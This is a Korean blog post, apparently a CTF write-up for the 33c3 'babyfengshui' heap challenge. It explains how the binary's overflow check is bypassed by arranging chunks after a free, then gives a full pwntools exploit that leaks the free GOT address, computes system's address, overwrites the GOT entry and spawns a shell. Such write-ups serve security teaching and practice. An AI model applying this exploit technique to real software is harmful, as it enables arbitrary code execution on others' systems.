cdor1's lab
33c3 CTF babyfengshui 본문
<
add, delete, display, update를 수행하며 heap을 다루는 바이너리입니다.
add를 해 줄때 우리가 원하는 크기로 malloc을 하고 name을 받으며
또 text를 받는 용도로 128바이트로 malloc을 해줍니다.
128바이트로 malloc을 할당했지만 그 이상을 받을 수 있기 때문에 overflow가 발생합니다.
하지만 text를 받을 때 overflow를 막기 위해서 이런 protection을 걸어놓았습니다.
name[idx]->text + len >= name[idx]보다 크다면 overflow를 감지하고 프로그램을 종료시키는데
alloc name1
alloc name2
alloc name3
free name1
alloc name4
이렇게 하게되면 name4->text가 name1->text가 사용했던 주소를 use after free를 활용해 다시 사용하게 되면서
name4->text가 name4보다 높은 주소에 할당되어 이 protection을 우회 할 수 있게 됩니다.
from pwn import *
s = process('./babyfengshui')
def add(size, name, length, text):
print s.recvuntil('Action: ')
s.sendline('0')
print s.recvuntil('size of description: ')
s.sendline(str(size))
print s.recvuntil('name: ')
s.sendline(name)
print s.recvuntil('text length: ')
s.sendline(str(length))
print s.recvuntil('text: ')
s.sendline(text)
def delete(idx):
print s.recvuntil('Action: ')
s.sendline('1')
print s.recvuntil('index: ')
s.sendline(str(idx))
def display(idx):
print s.recvuntil('Action: ')
s.sendline('2')
print s.recvuntil('index: ')
s.sendline(str(idx))
def update(idx, length, text):
print s.recvuntil('Action: ')
s.sendline('3')
print s.recvuntil('index: ')
s.sendline(str(idx))
print s.recvuntil('text length: ')
s.sendline(str(length))
print s.recvuntil('text: ')
s.sendline(text)
add(10, 'aaaa', 10, '/bin/sh\x00')
add(10, 'bbbb', 10, '/bin/sh\x00')
add(10, 'cccc', 10, '/bin/sh\x00')
delete(0)
add(0x10, 'dddd', 0x101, 'a'*0x98 + p32(0x0804B010))
display(1)
print s.recvuntil('description: ')
free_got = u32(s.recv(4))
base = free_got - 0x76de0
system = base + 0x40310
log.info('free_got : ' + hex(free_got))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))
update(1, 4, p32(system))
delete(2)
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
ASIS CTF 2016 feap (0) | 2017.03.06 |
---|---|
seccon 2016 cheer_msg (0) | 2017.03.04 |
Codegate 2017 messenger (0) | 2017.03.03 |
how2heap house of einherjar.c (0) | 2017.03.03 |
codegate 2017 3차 발표 준비 (0) | 2017.02.17 |
Comments